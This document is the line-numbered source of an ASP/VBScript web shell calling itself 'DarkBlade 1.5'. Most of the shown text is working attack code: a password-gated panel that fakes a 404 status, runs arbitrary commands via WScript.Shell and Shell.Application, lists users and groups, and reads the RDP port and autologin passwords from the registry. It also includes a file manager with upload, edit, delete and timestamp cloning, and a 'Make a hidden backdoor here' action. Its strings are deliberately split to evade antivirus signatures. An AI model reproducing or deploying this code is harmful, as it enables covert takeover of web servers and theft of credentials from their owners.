j2aSRrxT

1<%@ LANGUAGE='VBScript' CODEPAGE='65001'%>
2<%
3Response.Buffer=True
4Response.Clear
5Response.CharSet="utf-8"
6Server.ScriptTimeOut=300
7'-------------------------------Config-------------------------------
8Const pass="C5E83EDF778C18482D84D5489B8D8F"'admin
9Const pipu=True
10Const iycew=59
11Const ydnj=False
12Const csj="_"
13Const jsrfr="lqbip|rcvdh|ihyn|ihk|ybgqm|aiw|gwk|qmkq|rxg|jksfh|geww|vgm|ulz|jqj|nyf|sesq|ugxyt|pnu|czwfq|yvquw|wckz|uwrty"
14Const amb="login"
15Const alqp="GB2312"
16Const dxpm="asp|asa|cer|cdx"
17Const mhla="asp|asa|cer|cdx|aspx|asax|ascx|cs|jsp|php|txt|inc|ini|js|htm|html|xml|config"
18Const nhbqw=50
19Const echs="zzzzzzzz.html"
20Const aerq=False
21'-------------------------------Config-------------------------------
22Dim goaction,lqbip,ihyn,ihk,aiw,gwk,lkyy,iuwq,vnznl,xjab,zjhor,nun,wbxx,cngn,ogfim,rfaq,vfo,nzax,zhyko,mkew,qmkq,ads,ajto,xdmm,rcvdh,ujcmu,qtylw,dqc,rqszr,iij,ogda,exte,mhvec,acjdi,conn,rxg,fkho,bondh,podw,mpj,qebjx,jksfh,geww,jdvf,vgm,ulz,kurmq,jqj,gmhi,nyf,qrqg,zqps,ubql,znx,gtt,ertns,mt,sesq,czwfq,ugxyt,pnu,nuatb,ytusx,pwab,dgj,ybgqm,mvvi,wseta,fjjxv,xjmb,irbw,rke,rhnw,glw,wannd,ldcr,tbe,oth,kylxz,uwdvh,ccnh,nuser,npass,wtpog,pgvr,yvquw,wckz,qqp,ryfj,vujc,uwrty,ktg,ghpc,lqog
23mvvi="DarkBlade 1.5 Sex OverLord Edition"
24wseta="DarkBlade"
25fjjxv="DarkB"++"ladePa"+rtoqv+"ss"
26dxoes()
27nnam()
28uwdvh=jnph()
29If Not uwdvh And goaction<>amb Then grh()
30If aerq And Trim(ramoi("AUT"+meeeq+"H_USER"))="" Then
31Response.Status="401 Unautho"+zcuti+"rized"
32Response.Addheader"WWW-AuThen"+zln+"ticate","BASIC"
33If ramoi("AUT"+meeeq+"H_USER")=""Then Response.End()
34End If
35Select Case goaction
36Case amb
37jnnby()
38Case"bapis"
39lrnyc()
40Case"eyb"
41yzj()
42Case"fbk"
43ptib()
44Case"zzajv"
45ojyen()
46Case"rwumm"
47wbmfm()
48Case"lfx"
49yvs()
50Case"kbqxz"
51awsr()
52Case"gbe"
53nvkq()
54Case"dkdl"
55srxtf()
56Case"ide"
57xibim()
58Case"rcjqh"
59aum()
60Case"Logout"
61mddep()
62Case"jzp"
63jmqbw()
64Case"jilq","veerr"
65fevyb()
66Case Else
67fevyb()
68End Select
69viwe
70Sub dxoes()
71If Not ydnj Then On Error Resume Next
72rfaq=Timer()
73Dim kue,fri,egpnh,zfmf,didec,ubizz,zpsji,qowkf
74servurl=ramoi("URL")
75Set iuwq=nfffq("MSXML"+ifdg+"2.XM"+swww+"LHTTP")
76Set vnznl=nfffq("WS"+qkdx+"cript.She"+nomr+"ll")
77Set xjab=nfffq("Scriptin"+xfw+"g.FileSystemObj"+znlfx+"ect")
78Set zjhor=nfffq("She"+nlrnz+"ll.Applic"+oqzje+"ation")
79If Not IsObject(vnznl)Then Set vnznl=nfffq("WS"+qkdx+"cript.She"+nlrnz+"ll.1")
80If Not IsObject(zjhor)Then Set zjhor=nfffq("She"+nlrnz+"ll.Applic"+oqzje+"ation.1")
81Set wbxx=new RegExp
82wbxx.Global=True
83wbxx.IgnoreCase=True
84wbxx.MultiLine=True
85lkyy=ramoi("SERVER_NAME")
86cngn=ramoi("PATH_INFO")
87ogfim=Lcase(zsz(cngn,"/"))
88nzax=wxw(".")
89zhyko=wxw("/")
90ujcmu=1
91ads=1
92Response.status="404 Not Found"
93End Sub
94Sub nnam()
95If Not ydnj Then On Error Resume Next
96For Each fri in request.queryString
97execute fri&"=request.queryString("""&fri&""")"
98Next
99If InStr(ramoi("CONTENT_TYPE"),"multipart/form-data")>=1 Then
100Set pgvr=new upload_5xsoft
101For Each egpnh in pgvr.xgqlo
102execute egpnh&"=pgvr.Form("""&egpnh&""")"
103Next
104Else
105For Each kue in request.Form
106execute kue&"=request.form("""&kue&""")"
107Next
108End If
109qowkf=Split(jsrfr,"|")
110For Each zpsji in qowkf
111execute""&zpsji&"=mdez("&zpsji&")"
112Next
113lqbip=Replace(lqbip,"/","\")
114If Right(lqbip,1)="\"And Len(lqbip)>3 Then lqbip=Left(lqbip,Len(lqbip)-1)
115End Sub
116Sub viwe()
117If Not ydnj Then On Error Resume Next
118Dim ocmv
119iuwq.abort
120Set iuwq=Nothing
121Set vnznl=Nothing
122Set xjab=Nothing
123Set zjhor=Nothing
124Set wbxx=Nothing
125vfo=timer()
126ocmv=vfo-rfaq
127echo"<br></td></tr></table>"
128mwt gmhi
129sodx"100%"
130echo"<tr class=""head"">"
131echo"<td>"
132mwt mkew
133ocmv=FormatNumber(ocmv,5)
134If Left(ocmv,1)="."Then ocmv="0"&ocmv
135mwt"<br>"
136echo"<div align=right>Processed in :"&ocmv&"seconds</div></td></tr></table></body></html>"
137Response.End()
138End Sub
139Sub jnnby()
140If Not ydnj Then On Error Resume Next
141dgj=request("dgj")
142If dgj<>""Then
143dgj=wucql(dgj)
144If wucql(dgj)=pass Then
145suzn fjjxv,dgj
146Response.Redirect(cngn)
147Else
148yln"Fuck you,get out!"
149End If
150End If
151ajg"Login"
152echo"<center><br>"
153cxaqj False
154echo"<p><b>Password : </b>"
155zesc"password","dgj","","30",""
156echo" "
157qjr"Get In"
158echo"</p></center></form>"
159End Sub
160Sub yvs()
161If Not ydnj Then On Error Resume Next
162Dim i,iijs,slq,gth,asp,wgmiu,zvwg,kodk,iqg,oons
163gth="Sy"+kyirr+"stemRoot|WinD"+lir+"ir|Com"+tboq+"Spec|TEMP|TMP|NUMBER_OF_PR"+smeb+"OCESSORS|OS|Os2LibP"+vxg+"ath|Path|PA"+nfrfd+"THEXT|PROCESSOR_ARCHITECTU"+tyvg+"RE|"&_
164"PROCESSOR_IDENTIf"+wvld+"IER|PROCE"+zuwbp+"SSOR_LEVEL|PROCE"+ihhir+"SSOR_REVISION"
165slq=Split(gth,"|")
166execute "Set iijs=vnznl.Environ"&ajjwi&"ment(""SYSTEM"")"
167asp=ramoi("NUMBER_OF_PR"+smeb+"OCESSORS")
168If IsNull(asp)Or asp=""Then
169asp=iijs("NUMBER_OF_PR"+smeb+"OCESSORS")
170End If
171zvwg=ramoi("OS")
172If IsNull(zvwg)Or zvwg=""Then
173zvwg=iijs("OS")
174End If
175wgmiu=iijs("PROCESSOR_IDENTIf"+wvld+"IER")
176ajg"Server Infomation"
177sodx"100%"
178vhl
179echo"<td colspan=""2""align=""center"">"
180echo"<b>Server parameters:</b>"
181echo"</td>"
182uemp
183abxky 0
184ycd"Server Name:"
185doTd lkyy,""
186uemp
187abxky 1
188ycd"Server IP:"
189doTd ramoi("LOCAL_ADDR"),""
190uemp
191abxky 0
192ycd"Server Port:"
193doTd ramoi("SERVER_PORT"),""
194uemp
195abxky 1
196ycd"Server Mem"+ugie+"ory"
197execute "doTd kxyzh(zjhor.GetSystemInformati"&gap&"on(""PhysicalMemoryInstalled"")),"""""
198uemp
199abxky 0
200ycd"Server Time"
201doTd Now,""
202uemp
203abxky 1
204ycd"Server Engine"
205doTd ramoi("SERVER_SOFTWARE"),""
206uemp
207abxky 0
208ycd"Script Timeout"
209doTd Server.ScriptTimeout,""
210uemp
211abxky 1
212ycd"Number of Cpus"
213doTd asp,""
214uemp
215abxky 0
216ycd"Info of Cpus"
217doTd wgmiu,""
218uemp
219abxky 1
220ycd"Server OS"
221doTd zvwg,""
222uemp
223abxky 0
224ycd"Server Script Engine"
225doTd ScriptEngine&"/"&ScriptEngineMajorVersion&"."&ScriptEngineMinorVersion&"."&ScriptEngineBuildVersion,""
226uemp
227abxky 1
228ycd"File's Full Path"
229doTd ramoi("PATH_TRANSLATED"),""
230uemp
231ads=0
232For i=0 To UBound(slq)
233abxky ads
234doTd slq(i)&":",""
235execute "doTd vnznl.ExpandEnvironm"&qfm&"entStrings(""%""&slq(i)&""%""),"""""
236uemp
237nrf
238Next
239guenn
240tvnm(Err)
241echo"<br>"
242Set iijs=Nothing
243Dim wdh
244sodx"100%"
245vhl
246echo"<td colspan=""6""align=""center"">"
247echo"<b>Info of disks</b>"
248echo"</td>"
249uemp
250abxky 0
251doTd"Driver letter",""
252doTd"Type",""
253doTd"Label",""
254doTd"File system",""
255doTd"Space left",""
256doTd"Total space",""
257uemp
258ads=1
259For Each wdh in xjab.Drives
260Dim vlpsj,xcmiw,tjx,ssfrt,pdl,nrr
261vlpsj=wdh.DriveLetter
262If Lcase(vlpsj)<>"a"Then
263xcmiw=ixuog(wdh.DriveType)
264tjx=wdh.VolumeName
265ssfrt=wdh.Filesystem
266pdl=kxyzh(wdh.FreeSpace)
267execute "nrr=kxyzh(wdh.Total"&vnkh&"Size)"
268abxky ads
269doTd vlpsj,""
270doTd xcmiw,""
271doTd tjx,""
272doTd ssfrt,""
273doTd pdl,""
274doTd nrr,""
275uemp
276End If
277vlpsj=""
278xcmiw=""
279tjx=""
280ssfrt=""
281pdl=""
282nrr=""
283nrf
284Next
285guenn
286tvnm(Err)
287Set wdh=Nothing
288Dim oia
289Set oia=xjab.GetFolder(zhyko)
290echo"<br>"
291sodx"100%"
292vhl
293echo"<td colspan=""2""align=""center"">"
294echo"<b>Info of site:</b>"
295echo"</td>"
296uemp
297abxky 0
298doTd"Physic"+iymx+"al path:",""
299doTd zhyko,""
300uemp
301abxky 1
302doTd"Current size:",""
303doTd kxyzh(oia.Size),""
304uemp
305abxky 0
306doTd"File count:",""
307doTd oia.Files.Count,""
308uemp
309abxky 1
310doTd"Folder count:",""
311doTd oia.SubFolders.Count,""
312uemp
313guenn
314tvnm(Err)
315mwt"<br>"
316Dim wsqws,rgcdn,twmf
317Dim eyn,eedi,vlpsk,phr
318kodk="HKEY_LOCAL_MACHINE\SYSTEM\Curre"+fewse+"ntControlSet\Control\Te"+iptg+"rminal Server\Win"+flu+"Stations\RDP-"+geks+"Tcp\"
319iqg="PortNumber"
320oons=knf(kodk&iqg)
321If oons=""Then oons="Can't get Te"+iptg+"rminal port.<br/>"
322wsqws="HK"+xoncv+"LM\SOFTW"+wjw+"ARE\Microsoft\Window"+zfd+"s NT\Curren"+suctf+"tVersion\Winlog"+sdxq+"on\"
323eedi="AutoAdmin"+itn+"Logon"
324rgcdn="Def"+lvgli+"aultUserName"
325twmf="Defaul"+zhisp+"tPassword"
326eyn=knf(wsqws&eedi)
327If eyn=0 Then
328vlpsk="Autologin isn't enabled"
329Else
330vlpsk=knf(wsqws&rgcdn)
331End If
332If eyn=0 Then
333phr="Autologin isn't enabled"
334Else
335phr=knf(wsqws&twmf)
336End If
337sodx"100%"
338vhl
339echo"<td colspan=""2""align=""center"">"
340echo"<b>Info of Te"+iptg+"rminal port&Autologin</b>"
341echo"</td>"
342uemp
343abxky 0
344doTd"Te"+iptg+"rminal port:",""
345doTd oons,""
346uemp
347abxky 1
348doTd"Autologin account:",""
349doTd vlpsk,""
350uemp
351abxky 0
352doTd"Autologin password:",""
353doTd phr,""
354uemp
355guenn
356echo"</ol>"
357tvnm(Err)
358End Sub
359Sub lrnyc()
360Dim i,dyb,dni,lxyvu
361dni="MS"+lip+"WC.AdRotator,MS"+lip+"WC.Bro"+orji+"wserType,MS"+lip+"WC.NextLink,MS"+lip+"WC.TOOLS,MS"+lip+"WC.Status,MS"+lip+"WC.Counters,IISS"+yflfn+"ample.ContentRo"+mui+"tator,IISS"+yflfn+"ample.PageCoun"+ppot+"ter,MS"+lip+"WC.Per"+sij+"missionChecker,Ad"+oge+"odb.Connecti"+wehbe+"on,SoftArti"+urok+"sans.File"+fqhws+"Up,SoftArti"+urok+"sans.FileMa"+mhlnt+"nager,LyfUpload.UploadFile,Per"+dsyh+"sits.Upload.1,W3.Upload,JMail.SmtpMail,CDONTS.NewMail,Per"+dsyh+"sits.Mailsender,SMTPsvg.Mailer,DkQmail.Qmail,Geocel.Mailer,IISmail.Iismail.1,SmtpMail.SmtpMail.1,SoftArti"+urok+"sans.ImageGen,W3Image.Image,Scriptin"+xfw+"g.FileSystemObj"+znlfx+"ect,Ad"+oge+"odb.Str"+chut+"eam,She"+nlrnz+"ll.Applic"+oqzje+"ation,She"+nlrnz+"ll.Applic"+oqzje+"ation.1,WS"+qkdx+"cript.She"+nomr+"ll,WS"+qkdx+"cript.She"+nlrnz+"ll.1,WS"+qkdx+"cript.Network,hzhost.modules,npoint.host"
362lxyvu="Ad Rotator,Browser info,NextLink,,,Counters,Content rotator,,Permission checker,ADODB connection,SA-FileUp,SoftArtisans FileManager,LyfUpload,ASPUpload,Dimac upload,Dimac JMail,CDONTS SMTP mail,ASPemail,ASPmail,dkQmail,Geocel mail,IISmail,SmtpMail,SoftArtisans ImageGen,Dimac W3Image,FSO,Stream ,,,,,,Hzhost module,Npoint module"
363aryObjectList=Split(dni,",")
364aryDscList=Split(lxyvu,",")
365ajg"Server Object Detection"
366echo"Check for other ObjectId or ClassId.<br>"
367cxaqj True
368zesc"text","qmkq",qmkq,50,""
369echo" "
370qjr"Check"
371gbqwf
372If qmkq<>""Then
373yhigl
374Call btsva(qmkq,"")
375echo"</ul>"
376End If
377echo"<hr/>"
378echo"<ul class=""info""><li><u>Object name</u>Status and more</li>"
379For i=0 To UBound(aryDscList)
380Call btsva(aryObjectList(i),aryDscList(i))
381Next
382echo"</ul><hr/>"
383End Sub
384Sub yzj()
385Dim ogs,yyjd,gcy
386ajg"Users and Groups Imformation"
387Set gcy=getObj("WinNT://.")
388gcy.Filter=Array("User")
389csyfy"User",False
390sodx"100%"
391For Each ogs in gcy
392vhl
393echo"<td colSpan=""2""align=""center""><b>"&ogs.Name&"</b></td>"
394uemp
395etndu(ogs.Name)
396Next
397guenn
398echo"</span><br>"
399tvnm(Err)
400csyfy"UserGroup",False
401gcy.Filter=Array("Group")
402sodx"100%"
403ads=1
404For Each yyjd in gcy
405abxky ads
406doTd yyjd.Name,""
407doTd yyjd.Description,""
408uemp
409nrf
410Next
411guenn
412echo"</span>"
413tvnm(Err)
414End Sub
415Sub ptib()
416If Not ydnj Then On Error Resume Next
417Dim okvmb,wgd,dfm,wetzi
418If ajto<>""Then Session(ajto)=xdmm
419ajg"Server-Client Information"
420csyfy"ServerVariables",True
421sodx"100%"
422ads=1
423For Each dfm in Request.ServerVariables
424abxky ads
425ycd dfm
426doTd ramoi(dfm),""
427uemp
428nrf
429Next
430guenn
431mwt"</span><br>"
432csyfy"Application",True
433sodx"100%"
434ads=1
435For Each dfm in Application.Contents
436If dfm<>dhkcb("117_132_132_115_132_117_136_124")Then
437abxky ads
438ycd dfm
439doTd mszsa(Application(dfm)),""
440uemp
441nrf
442End If
443Next
444guenn
445mwt"</span><br>"
446csyfy"Session",True
447echo"<br>(ID"&Session.SessionId&")"
448sodx"100%"
449ads=1
450For Each dfm in Session.Contents
451wetzi=Session(dfm)
452abxky ads
453ycd dfm
454doTd mszsa(wetzi),""
455uemp
456nrf
457Next
458abxky ads
459cxaqj False
460fkv"Set Session","20%"
461echo"<td width=""80%""> Key :"
462zesc"text","ajto","",30,""
463echo"Value :"
464zesc"text","xdmm","",30,""
465echo"</td>"
466gbqwf
467uemp
468guenn
469mwt"</span><br>"
470csyfy"Cookies",True
471sodx"100%"
472ads=1
473For Each dfm in Request.Cookies
474If Request.Cookies(dfm).HasKeys Then
475For Each okvmb in Request.Cookies(dfm)
476abxky ads
477ycd dfm&"("&okvmb&")"
478doTd mszsa(Request.Cookies(dfm)(okvmb)),""
479uemp
480nrf
481Next
482Else
483abxky ads
484ycd dfm
485doTd mszsa(Request.Cookies(dfm)),""
486uemp
487nrf
488End If
489Next
490guenn
491echo"</span>"
492tvnm(Err)
493End Sub
494Sub ojyen()
495Dim inl,kob,swzr
496If Not ydnj Then On Error Resume Next
497ajg("WS"+qkdx+"cript.She"+nomr+"ll Execute")
498If rcvdh<>""Then
499If InStr(Lcase(rcvdh),"cmd")>0 And InStr(ihyn,"/c ")<1 Then
500kob=rcvdh&" /c "&ihyn
501Else
502kob=rcvdh&" "&ihyn
503End If
504If ldcr=1 Then
505execute "Set swzr=vnznl.Ex"&corg&"ec(kob)"
506execute "inl=swzr.StdOut.R"&pwbon&"eadAll()&vbCrLf&swzr.StdErr.R"&pwbon&"eadAll()"
507Else
508execute "vnznl.R"&gpkod&"un kob,0,False"
509End If
510tvnm(Err)
511zeb
512Else
513rcvdh="cmd.exe"
514End If
515sodx"100%"
516cxaqj True
517abxky 1
518doTd"Path","10%"
519iiit"text","rcvdh",rcvdh,"70%","",""
520echo"<td>"
521jwik"ldcr",1," View result ","checked"
522qjr"Run"
523echo"</td>"
524uemp
525abxky 0
526doTd"Parameters",""
527iiit"text","ihyn",ihyn,"","","2"
528uemp
529gbqwf
530guenn
531echo"<hr><b>Result:</b><br><span class=""alt1Span"">"&mszsa(inl)&"</span>"
532tvnm(Err)
533End Sub
534Sub wbmfm()
535If Not ydnj Then On Error Resume Next
536ajg("She"+nlrnz+"ll.Applic"+oqzje+"ation Execute")
537If rcvdh<>""Then
538If InStr(Lcase(rcvdh),"cmd")>0 And InStr(ihyn,"/c ")<1 Then
539ihyn="/c "&ihyn
540End If
541execute "zjhor.Shel"&poo&"lExecute rcvdh,ihyn,Null,""open"",0"
542tvnm(Err)
543ElseIf qtylw="viewResult" Then
544Response.Clear
545uwrty=Trim(uwrty)
546If IsObject(xjab)Then
547echo "<body bgcolor='#ecedef'>"&mszsa(tpcq(uwrty))&"</body>"
548Else
549echo "<body bgcolor='#ecedef'>"&mszsa(rchgv(uwrty))&"</body>"
550End If
551If Err Then echo Err.Description
552execute "xjab.Dele"&nbjk&"teFile uwrty,True"
553Response.End
554End If
555sodx"100%"
556cxaqj True
557abxky 1
558doTd"com"+nhmkc+"mand","10%"
559If rcvdh=""Then rcvdh="cmd.exe"
560If ihyn=""Then ihyn=" /c net u"+rmct+"ser > "&zhyko&"\temp.txt"
561iiit"text","rcvdh",rcvdh,"80%","",""
562fkv"Run ",""
563uemp
564abxky 0
565doTd"Parameters",""
566iiit"text","ihyn",ihyn,"","",2
567uemp
568gbqwf
569guenn
570echo"<hr>"
571zesc"button","","Refresh result","","onclick='javascript:thra()'"
572echo"<br><br><iframe id='inl' class='frame' frameborder='no'></iframe>"
573End Sub
574Sub fevyb()
575If Not ydnj Then On Error Resume Next
576If lqbip=""Then lqbip=gwk
577If lqbip=""Then lqbip=nzax
578If goaction<>"jilq"Then goaction="veerr"
579If qtylw="down"Then
580cqbv()
581Response.End()
582End If
583If goaction="veerr"Then
584iij="fso"
585ajg("FSO File Explorer")
586Else
587iij="sa"
588ajg("APP File Explorer")
589End If
590Select Case qtylw
591Case"dprl","eyq"
592usxi()
593lqbip=dzzx(lqbip,"\",False)
594Case"xhsy"
595xhsy()
596Case"save","evwr"
597yjzdg()
598lqbip=dzzx(lqbip,"\",False)
599Case"omtw"
600bhq()
601Case"unu","tzsaq"
602unu()
603Case"strwh","swxiy"
604ohcrx()
605lqbip=dzzx(lqbip,"\",False)
606Case"plz","wma","ttg","vseta"
607rumla()
608lqbip=dzzx(lqbip,"\",False)
609Case"rvvj"
610qcda()
611Case"lhirb"
612bizlp()
613lqbip=dzzx(lqbip,"\",False)
614Case"apicv"
615ozt()
616End Select
617If Len(lqbip)<3 Then lqbip=lqbip&"\"
618dslv()
619End Sub
620Sub dslv()
621Dim theFolder,slvd,ybft,gttt,nfplv,jrtca,acio,brwr,i
622If Not ydnj Then On Error Resume Next
623If iij="fso"Then
624Set theFolder=xjab.GetFolder(lqbip)
625gttt=xjab.GetParentFolderName(lqbip)
626Else
627execute "Set theFolder=zjhor.Nam"&urblr&"eSpace(lqbip)"
628ome Err
629gttt=dzzx(lqbip,"\",False)
630If InStr(gttt,"\")<1 Then
631gttt=gttt&"\"
632End If
633End If
634brwr=lqbip
635If Right(brwr,1)<>"\"Then brwr=brwr&"\"
636rtas"brwr",brwr
637cxaqj True
638echo"<b>Current Path :</b>"
639zesc"text","lqbip",lqbip,120,""
640mwt""
641rycpp"","170px","onchange=""javascript:if(this.value!=''){qjr('"&goaction&"','',this.value);}"""
642exhpr"","Drivers/Comm folders"
643exhpr mszsa(wxw(".")),"."
644exhpr mszsa(wxw("/")),"/"
645exhpr"","----------------"
646If Lcase(iij)="fso"Then
647For Each drive in xjab.Drives
648execute "exhpr drive.Drive"&jruor&"Letter&"":\"",drive.Drive"&jruor&"Letter&"":\"""
649Next
650exhpr"","----------------"
651End If
652exhpr"C:\Program Files","C:\Program Files"
653exhpr"C:\Program Files\RhinoSoft.com","RhinoSoft.com"
654exhpr"C:\Program Files\Serv"+shn+"-U","Serv"+shn+"-U"
655exhpr"C:\Program Files\Ra"+aumws+"dmin","Ra"+aumws+"dmin"
656exhpr"C:\Program Files\Microsoft SQL Server","Mssql"
657exhpr"C:\Program Files\Mysql","Mysql"
658exhpr"","----------------"
659exhpr"C:\documents and Settings\All Users","All Users"
660exhpr"C:\documents and Settings\All Users\documents","documents"
661exhpr"C:\documents and Settings\All Users\Application Data\Symantec\pcAnywhere","PcAnywhere"
662exhpr"C:\documents and Settings\All Users\Start Menu\Programs","Start Menu->Programs"
663exhpr"","----------------"
664exhpr"D:\Program Files","D:\Program Files"
665exhpr"D:\Serv"+shn+"-U","D:\Serv"+shn+"-U"
666exhpr"D:\Ra"+aumws+"dmin","D:\Ra"+aumws+"dmin"
667exhpr"D:\Mysql","D:\Mysql"
668ild
669qjr"Go"
670gbqwf
671mwt"<br><form method=""post"" id=""upform""action="""&cngn&"""enctype=""multipart/form-data"">"
672rtas"goaction",goaction
673rtas"qtylw","omtw"
674rtas"lqbip",lqbip
675sodx"60%"
676abxky 1
677iiit"file","upfile","","30%","",""
678doTd"Save As :","15%"
679iiit"text","yvquw","","30%","",""
680iiit"button",""," Upload  ","20%","onClick=""javascript:qjr('"&goaction&"','omtw','')""",""
681uemp
682gbqwf
683If iij="fso"Then
684abxky 0
685cxaqj True
686rtas"lqbip",lqbip
687rtas"qtylw","xhsy"
688iiit"text","exte","","","",""
689echo"<td colspan='2'>"
690zesc"radio","mhvec","file","","checked"
691echo"File"
692zesc"radio","mhvec","folder","",""
693echo"Folder</td>"
694fkv"New one",""
695gbqwf
696uemp
697End If
698echo"</table><hr>"
699If iij="fso"Then
700If Not xjab.FolderExists(lqbip)Then
701yln lqbip&" Folder dosen't exists or access denied!"
702viwe
703End If
704End If
705csyfy"Folders",False
706sodx"100%"
707vhl
708doTd"<b>Folder name</b>",""
709doTd"<b>Size</b>",""
710doTd"<b>Last modIfied</b>",""
711echo"<td><b>Action</b>"
712If iij="fso"Then 
713echo" - "
714injj goaction,"apicv",clwc(lqbip),"Make a hidden backdoor here",""
715End If
716echo"</td>"
717uemp
718abxky 0
719echo"<td colspan=""4"">"
720injj goaction,"",clwc(gttt),"Parent Directory",""
721echo"</td>"
722uemp
723ads=1
724i=0
725If iij="fso"Then
726For Each objX in theFolder.SubFolders
727acio=objX.DateLastModIfied
728abxky ads
729echo"<td>"
730injj goaction,"",objX.Name,objX.Name,""
731echo"</td>"
732doTd mszsa("<dir>"),""
733doTd acio,""
734echo"<td>"
735injj goaction,"ttg",objX.Name,"Copy"," -"
736injj goaction,"vseta",objX.Name,"Move"," -"
737injj goaction,"swxiy",objX.Name,"Rename"," -"
738injj "jzp","jixpz",objX.Name,"Package"," -"
739injj goaction,"eyq",objX.Name,"Delete",""
740mwt"</td>"
741uemp
742nrf
743i=i+1
744If i>=20 Then
745i=0
746Response.Flush()
747End If
748Next
749Else
750For Each objX in theFolder.Items
751If objX.IsFolder Then
752acio=theFolder.GetDetailsOf(objX,3)
753abxky ads
754echo"<td>"
755injj goaction,"",objX.Name,objX.Name,""
756echo"</td>"
757doTd mszsa("<dir>"),""
758doTd acio,""
759echo"<td>"
760injj goaction,"swxiy",objX.Name,"Rename"," -"
761injj "jzp","kehl",objX.Name,"Package",""
762mwt"</td>"
763uemp
764nrf
765i=i+1
766If i>=20 Then
767i=0
768Response.Flush()
769End If
770End If
771Next
772End If
773guenn
774mwt"</span><br>"
775csyfy"Files",False
776sodx"100%"
777echo"<b>"
778vhl
779doTd"<b>File name</b>",""
780doTd"<b>Size</b>",""
781doTd"<b>Last modIfied</b>",""
782doTd"<b>Action</b>",""
783uemp
784echo"</b>"
785ads=0
786If iij="fso"Then
787For Each objX in theFolder.Files
788nfplv=kxyzh(objX.Size)
789acio=objX.DateLastModIfied
790If Lcase(Left(objX.Path,Len(zhyko)))<>Lcase(zhyko) Then
791slvd=""
792Else
793slvd=Replace(Replace(nwtcn(Mid(objX.Path,Len(zhyko)+1)),"%2E","."),"+","%20")
794End If
795abxky ads
796If slvd=""Then
797doTd objX.Name,""
798Else
799doTd"<a href='"&Replace(slvd,"%5C","/")&"' target=_blank>"&objX.Name&"</a>",""
800End If
801doTd nfplv,""
802doTd acio,""
803echo"<td>"
804injj goaction,"unu",objX.Name,"Edit"," -"
805injj goaction,"plz",objX.Name,"Copy"," -"
806injj goaction,"wma",objX.Name,"Move"," -"
807injj goaction,"strwh",objX.Name,"Rename"," -"
808injj goaction,"down",objX.Name,"Down"," -"
809injj goaction,"rvvj",objX.Name,"Attribute"," -"
810ozs "zwg",objX.Name,"","","","Database"," -"
811injj goaction,"dprl",objX.Name,"Delete",""
812mwt"</td>"
813uemp
814nrf
815i=i+1
816If i>=20 Then
817i=0
818Response.Flush()
819End If
820Next
821Else
822For Each objX in theFolder.Items
823If Not objX.IsFolder Then
824Dim sxip
825sxip=zsz(objX.Path,"\")
826jrtca=clwc(objX.Path)
827nfplv=theFolder.GetDetailsOf(objX,1)
828acio=theFolder.GetDetailsOf(objX,3)
829If Lcase(Left(objX.Path,Len(zhyko)))<>Lcase(zhyko) Then
830slvd=""
831Else
832slvd=Replace(Replace(nwtcn(Mid(objX.Path,Len(zhyko)+1)),"%2E","."),"+","%20")
833End If
834abxky ads
835If slvd=""Then
836doTd zsz(objX.Path,"\"),""
837Else
838doTd"<a href='"&Replace(slvd,"%5C","/")&"' target=_blank>"& zsz(objX.Path,"\")&"</a>",""
839End If
840doTd nfplv,""
841doTd acio,""
842echo"<td>"
843injj goaction,"unu",sxip,"Edit"," -"
844injj goaction,"strwh",sxip,"Rename"," -"
845injj goaction,"down",sxip,"Down"," -"
846injj goaction,"rvvj",sxip,"Attribute"," -"
847ozs "zwg",sxip,"","","","Database",""
848mwt"</td>"
849uemp
850nrf
851i=i+1
852If i>=20 Then
853i=0
854Response.Flush()
855End If
856End If
857Next
858End If
859guenn
860echo"</span>"
861tvnm(Err)
862End Sub
863Function whc(vhv)
864Dim abaqg
865abaqg=""
866If vhv>=32 Then
867vhv=vhv-32
868abaqg=abaqg&"archive|"
869End If
870If vhv>=16 Then vhv=vhv-16
871If vhv>=8 Then vhv=vhv-8
872If vhv>=4 Then
873vhv=vhv-4
874abaqg=abaqg&"system|"
875End If
876If vhv>=2 Then
877vhv=vhv-2
878abaqg=abaqg&"hidden|"
879End If
880If vhv>=1 Then
881abaqg=abaqg&"readonly|"
882End If
883If abaqg=""Then
884whc=Array(Null)
885Else
886whc=Split(Left(abaqg,Len(abaqg)-1),"|")
887End If
888End Function
889Sub qcda()
890Dim azchf,avl,gaf,strAtt,vhv,phebk,bxja,gir,ybrxe,fuav
891If Not ydnj Then On Error Resume Next
892If IsObject(xjab)Then
893Set azchf=xjab.GetFile(lqbip)
894End If
895If IsObject(zjhor)Then
896bxja=dzzx(lqbip,"\",False)
897gaf=zsz(lqbip,"\")
898execute "Set phebk=zjhor.Name"&qrno&"Space(bxja)"
899Set avl=phebk.ParseName(gaf)
900End If
901echo"<center>"
902sodx"60%"
903cxaqj True
904rtas"qtylw","lhirb"
905rtas"lqbip",lqbip
906abxky 1
907fkv"Set / Clone",""
908doTd lqbip,""
909uemp
910abxky 0
911doTd"Attributes",""
912If IsObject(xjab)Then
913vhv=azchf.Attributes
914strAtt="<input type=checkbox name=kylxz value=4 class='input' {$system}/>system "
915strAtt=strAtt&"<input type=checkbox name=kylxz value=2 {$hidden}/>hide "
916strAtt=strAtt&"<input type=checkbox name=kylxz value=1 {$readonly}/>readonly "
917strAtt=strAtt&"<input type=checkbox name=kylxz value=32 {$archive}/>save "
918fuav=whc(vhv)
919For Each ybrxe in fuav
920strAtt=Replace(strAtt,"{$"&ybrxe&"}","checked")
921Next
922doTd strAtt,""
923Else
924doTd"FSO object disabled,can't get/set attributes -_-~!",""
925End If
926uemp
927If IsObject(zjhor)Then
928abxky 1
929doTd"Date created",""
930doTd phebk.GetDetailsOf(avl,4),""
931uemp
932abxky 0
933doTd"Date last modIfied",""
934iiit"text","tbe",phebk.GetDetailsOf(avl,3),"","",""
935uemp
936abxky 1
937doTd"Date last accessed",""
938doTd phebk.GetDetailsOf(avl,5),""
939uemp
940Else
941abxky 1
942doTd"Date created",""
943execute "doTd azchf.DateCr"&ack&"eated,"""""
944uemp
945abxky 0
946doTd"Date last modIfied",""
947doTd azchf.DateLastModIfied,""
948uemp
949abxky 1
950doTd"Date last accessed",""
951doTd azchf.DateLastAccessed,""
952uemp
953End If
954abxky 0
955If IsObject(zjhor)Then
956doTd"Clone time ",""
957echo"<td>"
958rycpp"oth","100%",""
959exhpr "","Do not clone"
960For Each objX in phebk.Items
961If Not objX.IsFolder Then
962gir=zsz(objX.Path,"\")
963exhpr gir,phebk.GetDetailsOf(phebk.ParseName(gir),3)&" --- "&gir
964End If
965Next
966Else
